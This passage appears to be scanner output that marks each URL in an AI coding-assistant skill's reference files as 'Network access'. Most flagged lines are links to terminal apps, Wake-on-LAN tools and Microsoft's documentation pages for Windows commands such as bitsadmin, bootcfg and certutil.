    - [Nirsoft WOL](https://www.nirsoft.net/utils/wake_on_lan.html)
  • Network accessline 113
    - [PowerShell Wake On LAN script](https://powershell.one/code/11.html)
  • Network accessline 117
    - [Windows Terminal](https://apps.microsoft.com/detail/9N0DX20HK701) | [GitHub](https://github.com/microsoft/terminal)
  • Network accessline 118
    - [ConEmu](https://conemu.github.io/)
  • Network accessline 119
    - [ConsoleZ](https://github.com/cbucher/console)
  • Network accessline 120
    - [Fluent Terminal](https://github.com/felixse/FluentTerminal)
  • Network accessline 121
    - [Hyper](https://hyper.is/)
  • Network accessline 122
    - [MinTTY](https://mintty.github.io/)
  • Network accessline 123
    - [MobaXterm](https://mobaxterm.mobatek.net/)
  • Network accessline 124
    - [Tabby](https://tabby.sh/)
  • Network accessline 125
    - [ZOC](https://www.emtec.com/zoc/)

harness/github-copilot/skills/batch-files/references/windows-commands.md

  • Network accessline 3
    Comprehensive command reference from [learn.microsoft.com](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/windows-commands).
  • Network accessline 7
    - [active](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/active)
  • Network accessline 8
    - [add](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/add)
  • Network accessline 9
    - [add alias](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/add-alias)
  • Network accessline 10
    - [add volume](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/add-volume)
  • Network accessline 11
    - [adprep](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/adprep)
  • Network accessline 12
    - [append](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/append)
  • Network accessline 13
    - [arp](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/arp)
  • Network accessline 14
    - [assign](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/assign)
  • Network accessline 15
    - [assoc](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/assoc)
  • Network accessline 16
    - [at](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/at)
  • Network accessline 17
    - [atmadm](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/atmadm)
  • Network accessline 18
    - [attach-vdisk](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/attach-vdisk)
  • Network accessline 19
    - [attrib](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/attrib)
  • Network accessline 20
    - [attributes](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/attributes)
  • Network accessline 21
    - [attributes disk](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/attributes-disk)
  • Network accessline 22
    - [attributes volume](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/attributes-volume)
  • Network accessline 23
    - [auditpol](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/auditpol)
  • Network accessline 24
    - [auditpol backup](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/auditpol-backup)
  • Network accessline 25
    - [auditpol clear](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/auditpol-clear)
  • Network accessline 26
    - [auditpol get](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/auditpol-get)
  • Network accessline 27
    - [auditpol list](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/auditpol-list)
  • Network accessline 28
    - [auditpol remove](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/auditpol-remove)
  • Network accessline 29
    - [auditpol resourcesacl](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/auditpol-resourcesacl)
  • Network accessline 30
    - [auditpol restore](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/auditpol-restore)
  • Network accessline 31
    - [auditpol set](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/auditpol-set)
  • Network accessline 32
    - [autochk](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/autochk)
  • Network accessline 33
    - [autoconv](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/autoconv)
  • Network accessline 34
    - [autofmt](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/autofmt)
  • Network accessline 35
    - [automount](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/automount)
  • Network accessline 39
    - [bcdboot](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bcdboot)
  • Network accessline 40
    - [bcdedit](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bcdedit)
  • Network accessline 41
    - [bdehdcfg](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bdehdcfg)
  • Network accessline 42
    - [bdehdcfg driveinfo](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bdehdcfg-driveinfo)
  • Network accessline 43
    - [bdehdcfg newdriveletter](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bdehdcfg-newdriveletter)
  • Network accessline 44
    - [bdehdcfg quiet](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bdehdcfg-quiet)
  • Network accessline 45
    - [bdehdcfg restart](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bdehdcfg-restart)
  • Network accessline 46
    - [bdehdcfg size](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bdehdcfg-size)
  • Network accessline 47
    - [bdehdcfg target](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bdehdcfg-target)
  • Network accessline 48
    - [begin backup](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/begin-backup)
  • Network accessline 49
    - [begin restore](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/begin-restore)
  • Network accessline 50
    - [bitsadmin](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin)
  • Network accessline 51
    - [bitsadmin addfile](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-addfile)
  • Network accessline 52
    - [bitsadmin addfileset](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-addfileset)
  • Network accessline 53
    - [bitsadmin addfilewithranges](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-addfilewithranges)
  • Network accessline 54
    - [bitsadmin cache](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-cache)
  • Network accessline 55
    - [bitsadmin cancel](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-cancel)
  • Network accessline 56
    - [bitsadmin complete](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-complete)
  • Network accessline 57
    - [bitsadmin create](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-create)
  • Network accessline 58
    - [bitsadmin examples](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-examples)
  • Network accessline 59
    - [bitsadmin getaclflags](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-getaclflags)
  • Network accessline 60
    - [bitsadmin getbytestotal](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-getbytestotal)
  • Network accessline 61
    - [bitsadmin getbytestransferred](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-getbytestransferred)
  • Network accessline 62
    - [bitsadmin getclientcertificate](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-getclientcertificate)
  • Network accessline 63
    - [bitsadmin getcompletiontime](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-getcompletiontime)
  • Network accessline 64
    - [bitsadmin getcreationtime](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-getcreationtime)
  • Network accessline 65
    - [bitsadmin getcustomheaders](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-getcustomheaders)
  • Network accessline 66
    - [bitsadmin getdescription](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-getdescription)
  • Network accessline 67
    - [bitsadmin getdisplayname](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-getdisplayname)
  • Network accessline 68
    - [bitsadmin geterror](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-geterror)
  • Network accessline 69
    - [bitsadmin geterrorcount](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-geterrorcount)
  • Network accessline 70
    - [bitsadmin getfilestotal](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-getfilestotal)
  • Network accessline 71
    - [bitsadmin getfilestransferred](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-getfilestransferred)
  • Network accessline 72
    - [bitsadmin gethelpertokenflags](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-gethelpertokenflags)
  • Network accessline 73
    - [bitsadmin gethelpertokensid](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-gethelpertokensid)
  • Network accessline 74
    - [bitsadmin gethttpmethod](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-gethttpmethod)
  • Network accessline 75
    - [bitsadmin getmaxdownloadtime](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-getmaxdownloadtime)
  • Network accessline 76
    - [bitsadmin getminretrydelay](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-getminretrydelay)
  • Network accessline 77
    - [bitsadmin getmodificationtime](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-getmodificationtime)
  • Network accessline 78
    - [bitsadmin getnoprogresstimeout](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-getnoprogresstimeout)
  • Network accessline 79
    - [bitsadmin getnotifycmdline](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-getnotifycmdline)
  • Network accessline 80
    - [bitsadmin getnotifyflags](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-getnotifyflags)
  • Network accessline 81
    - [bitsadmin getnotifyinterface](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-getnotifyinterface)
  • Network accessline 82
    - [bitsadmin getowner](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-getowner)
  • Network accessline 83
    - [bitsadmin getpeercachingflags](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-getpeercachingflags)
  • Network accessline 84
    - [bitsadmin getpriority](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-getpriority)
  • Network accessline 85
    - [bitsadmin getproxybypasslist](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-getproxybypasslist)
  • Network accessline 86
    - [bitsadmin getproxylist](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-getproxylist)
  • Network accessline 87
    - [bitsadmin getproxyusage](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-getproxyusage)
  • Network accessline 88
    - [bitsadmin getreplydata](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-getreplydata)
  • Network accessline 89
    - [bitsadmin getreplyfilename](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-getreplyfilename)
  • Network accessline 90
    - [bitsadmin getreplyprogress](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-getreplyprogress)
  • Network accessline 91
    - [bitsadmin getsecurityflags](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-getsecurityflags)
  • Network accessline 92
    - [bitsadmin getstate](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-getstate)
  • Network accessline 93
    - [bitsadmin gettemporaryname](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-gettemporaryname)
  • Network accessline 94
    - [bitsadmin gettype](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-gettype)
  • Network accessline 95
    - [bitsadmin getvalidationstate](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-getvalidationstate)
  • Network accessline 96
    - [bitsadmin help](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-help)
  • Network accessline 97
    - [bitsadmin info](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-info)
  • Network accessline 98
    - [bitsadmin list](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-list)
  • Network accessline 99
    - [bitsadmin listfiles](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-listfiles)
  • Network accessline 100
    - [bitsadmin makecustomheaderswriteonly](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-makecustomheaderswriteonly)
  • Network accessline 101
    - [bitsadmin monitor](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-monitor)
  • Network accessline 102
    - [bitsadmin nowrap](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-nowrap)
  • Network accessline 103
    - [bitsadmin peercaching](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-peercaching)
  • Network accessline 104
    - [bitsadmin peers](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-peers)
  • Network accessline 105
    - [bitsadmin rawreturn](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-rawreturn)
  • Network accessline 106
    - [bitsadmin removeclientcertificate](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-removeclientcertificate)
  • Network accessline 107
    - [bitsadmin removecredentials](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-removecredentials)
  • Network accessline 108
    - [bitsadmin replaceremoteprefix](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-replaceremoteprefix)
  • Network accessline 109
    - [bitsadmin reset](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-reset)
  • Network accessline 110
    - [bitsadmin resume](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-resume)
  • Network accessline 111
    - [bitsadmin setaclflag](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-setaclflag)
  • Network accessline 112
    - [bitsadmin setclientcertificatebyid](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-setclientcertificatebyid)
  • Network accessline 113
    - [bitsadmin setclientcertificatebyname](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-setclientcertificatebyname)
  • Network accessline 114
    - [bitsadmin setcredentials](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-setcredentials)
  • Network accessline 115
    - [bitsadmin setcustomheaders](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-setcustomheaders)
  • Network accessline 116
    - [bitsadmin setdescription](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-setdescription)
  • Network accessline 117
    - [bitsadmin setdisplayname](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-setdisplayname)
  • Network accessline 118
    - [bitsadmin sethelpertoken](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-sethelpertoken)
  • Network accessline 119
    - [bitsadmin sethelpertokenflags](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-sethelpertokenflags)
  • Network accessline 120
    - [bitsadmin sethttpmethod](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-sethttpmethod)
  • Network accessline 121
    - [bitsadmin setmaxdownloadtime](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-setmaxdownloadtime)
  • Network accessline 122
    - [bitsadmin setminretrydelay](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-setminretrydelay)
  • Network accessline 123
    - [bitsadmin setnoprogresstimeout](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-setnoprogresstimeout)
  • Network accessline 124
    - [bitsadmin setnotifycmdline](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-setnotifycmdline)
  • Network accessline 125
    - [bitsadmin setnotifyflags](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-setnotifyflags)
  • Network accessline 126
    - [bitsadmin setpeercachingflags](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-setpeercachingflags)
  • Network accessline 127
    - [bitsadmin setpriority](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-setpriority)
  • Network accessline 128
    - [bitsadmin setproxysettings](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-setproxysettings)
  • Network accessline 129
    - [bitsadmin setreplyfilename](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-setreplyfilename)
  • Network accessline 130
    - [bitsadmin setsecurityflags](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-setsecurityflags)
  • Network accessline 131
    - [bitsadmin setvalidationstate](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-setvalidationstate)
  • Network accessline 132
    - [bitsadmin suspend](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-suspend)
  • Network accessline 133
    - [bitsadmin takeownership](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-takeownership)
  • Network accessline 134
    - [bitsadmin transfer](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-transfer)
  • Network accessline 135
    - [bitsadmin util](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-util)
  • Network accessline 136
    - [bitsadmin wrap](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-wrap)
  • Network accessline 137
    - [bitsadmin cache and delete](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-cache-and-delete)
  • Network accessline 138
    - [bitsadmin cache and deleteurl](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-cache-and-deleteurl)
  • Network accessline 139
    - [bitsadmin cache and getexpirationtime](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-cache-and-getexpirationtime)
  • Network accessline 140
    - [bitsadmin cache and getlimit](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-cache-and-getlimit)
  • Network accessline 141
    - [bitsadmin cache and help](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-cache-and-help)
  • Network accessline 142
    - [bitsadmin cache and info](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-cache-and-info)
  • Network accessline 143
    - [bitsadmin cache and list](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-cache-and-list)
  • Network accessline 144
    - [bitsadmin cache and setexpirationtime](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-cache-and-setexpirationtime)
  • Network accessline 145
    - [bitsadmin cache and setlimit](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-cache-and-setlimit)
  • Network accessline 146
    - [bitsadmin cache and clear](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-cache-clear)
  • Network accessline 147
    - [bitsadmin peercaching and getconfigurationflags](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-peercaching-and-getconfigurationflags)
  • Network accessline 148
    - [bitsadmin peercaching and help](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-peercaching-and-help)
  • Network accessline 149
    - [bitsadmin peercaching and setconfigurationflags](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-peercaching-and-setconfigurationflags)
  • Network accessline 150
    - [bitsadmin peers and clear](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-peers-and-clear)
  • Network accessline 151
    - [bitsadmin peers and discover](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-peers-and-discover)
  • Network accessline 152
    - [bitsadmin peers and help](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-peers-and-help)
  • Network accessline 153
    - [bitsadmin peers and list](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-peers-and-list)
  • Network accessline 154
    - [bitsadmin util and enableanalyticchannel](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-util-and-enableanalyticchannel)
  • Network accessline 155
    - [bitsadmin util and getieproxy](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-util-and-getieproxy)
  • Network accessline 156
    - [bitsadmin util and help](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-util-and-help)
  • Network accessline 157
    - [bitsadmin util and repairservice](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-util-and-repairservice)
  • Network accessline 158
    - [bitsadmin util and setieproxy](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-util-and-setieproxy)
  • Network accessline 159
    - [bitsadmin util and version](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-util-and-version)
  • Network accessline 160
    - [bootcfg](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bootcfg)
  • Network accessline 161
    - [bootcfg addsw](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bootcfg-addsw)
  • Network accessline 162
    - [bootcfg copy](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bootcfg-copy)
  • Network accessline 163
    - [bootcfg dbg1394](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bootcfg-dbg1394)
  • Network accessline 164
    - [bootcfg debug](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bootcfg-debug)
  • Network accessline 165
    - [bootcfg default](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bootcfg-default)
  • Network accessline 166
    - [bootcfg delete](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bootcfg-delete)
  • Network accessline 167
    - [bootcfg ems](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bootcfg-ems)
  • Network accessline 168
    - [bootcfg query](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bootcfg-query)
  • Network accessline 169
    - [bootcfg raw](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bootcfg-raw)
  • Network accessline 170
    - [bootcfg rmsw](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bootcfg-rmsw)
  • Network accessline 171
    - [bootcfg timeout](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bootcfg-timeout)
  • Network accessline 172
    - [break](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/break)
  • Network accessline 176
    - [cacls](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/cacls)
  • Network accessline 177
    - [call](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/call)
  • Network accessline 178
    - [cd](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/cd)
  • Network accessline 179
    - [certreq](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/certreq_1)
  • Network accessline 180
    - [certutil](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/certutil)
  • Network accessline 181
    - [change](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/change)
  • Network accessline 182
    - [change logon](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/change-logon)
  • Network accessline 183
    - [change port](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/change-port)
  • Network accessline 184
    - [change user](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/change-user)
  • Network accessline 185
    - [chcp](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/chcp)
  • Network accessline 186
    - [chdir](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/chdir)
  • Network accessline 187
    - [chglogon](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/chglogon)
  • Network accessline 188
    - [chgport](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/chgport)
  • Network accessline 189
    - [chgusr](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/chgusr)
  • Network accessline 190
    - [chkdsk](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/chkdsk)
  • Network accessline 191
    - [chkntfs](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/chkntfs)
  • Network accessline 192
    - [choice](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/choice)
  • Network accessline 193
    - [cipher](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/cipher)
  • Network accessline 194
    - [clean](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/clean)
  • Network accessline 195
    - [cleanmgr](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/cleanmgr)
  • Network accessline 196
    - [clip](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/clip)
  • Network accessline 197
    - [cls](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/cls)
  • Network accessline 198
    - [cmd](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/cmd)
  • Network accessline 199
    - [cmdkey](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/cmdkey)
  • Network accessline 200
    - [cmstp](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/cmstp)
  • Network accessline 201
    - [color](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/color)
  • Network accessline 202
    - [comp](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/comp)
  • Network accessline 203
    - [compact](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/compact)
  • Network accessline 204
    - [compact vdisk](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/compact-vdisk)
  • Network accessline 205
    - [convert](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/convert)
  • Network accessline 206
    - [convert basic](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/convert-basic)
  • Network accessline 207
    - [convert dynamic](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/convert-dynamic)
  • Network accessline 208
    - [convert gpt](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/convert-gpt)
  • Network accessline 209
    - [convert mbr](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/convert-mbr)
  • Network accessline 210
    - [copy](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/copy)
  • Network accessline 211
    - [create](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/create)
  • Network accessline 212
    - [create partition efi](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/create-partition-efi)
  • Network accessline 213
    - [create partition extended](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/create-partition-extended)
  • Network accessline 214
    - [create partition logical](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/create-partition-logical)
  • Network accessline 215
    - [create partition msr](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/create-partition-msr)
  • Network accessline 216
    - [create partition primary](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/create-partition-primary)
  • Network accessline 217
    - [create volume mirror](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/create-volume-mirror)
  • Network accessline 218
    - [create volume raid](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/create-volume-raid)
  • Network accessline 219
    - [create volume simple](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/create-volume-simple)
  • Network accessline 220
    - [create volume stripe](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/create-volume-stripe)
  • Network accessline 221
    - [cscript](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/cscript)
  • Network accessline 225
    - [date](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/date)
  • Network accessline 226
    - [dcdiag](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/dcdiag)
  • Network accessline 227
    - [dcgpofix](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/dcgpofix)
  • Network accessline 228
    - [dcpromo](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/dcpromo)
  • Network accessline 229
    - [defrag](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/defrag)
  • Network accessline 230
    - [del](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/del)
  • Network accessline 231
    - [delete](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/delete)
  • Network accessline 232
    - [delete disk](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/delete-disk)
  • Network accessline 233
    - [delete partition](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/delete-partition)
  • Network accessline 234
    - [delete shadows](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/delete-shadows)
  • Network accessline 235
    - [delete volume](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/delete-volume)
  • Network accessline 236
    - [detach vdisk](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/detach-vdisk)
  • Network accessline 237
    - [detail](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/detail)
  • Network accessline 238
    - [detail disk](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/detail-disk)
  • Network accessline 239
    - [detail partition](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/detail-partition)
  • Network accessline 240
    - [detail vdisk](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/detail-vdisk)
  • Network accessline 241
    - [detail volume](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/detail-volume)
  • Network accessline 242
    - [dfsdiag](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/dfsdiag)
  • Network accessline 243
    - [dfsdiag testdcs](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/dfsdiag-testdcs)
  • Network accessline 244
    - [dfsdiag testdfsconfig](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/dfsdiag-testdfsconfig)
  • Network accessline 245
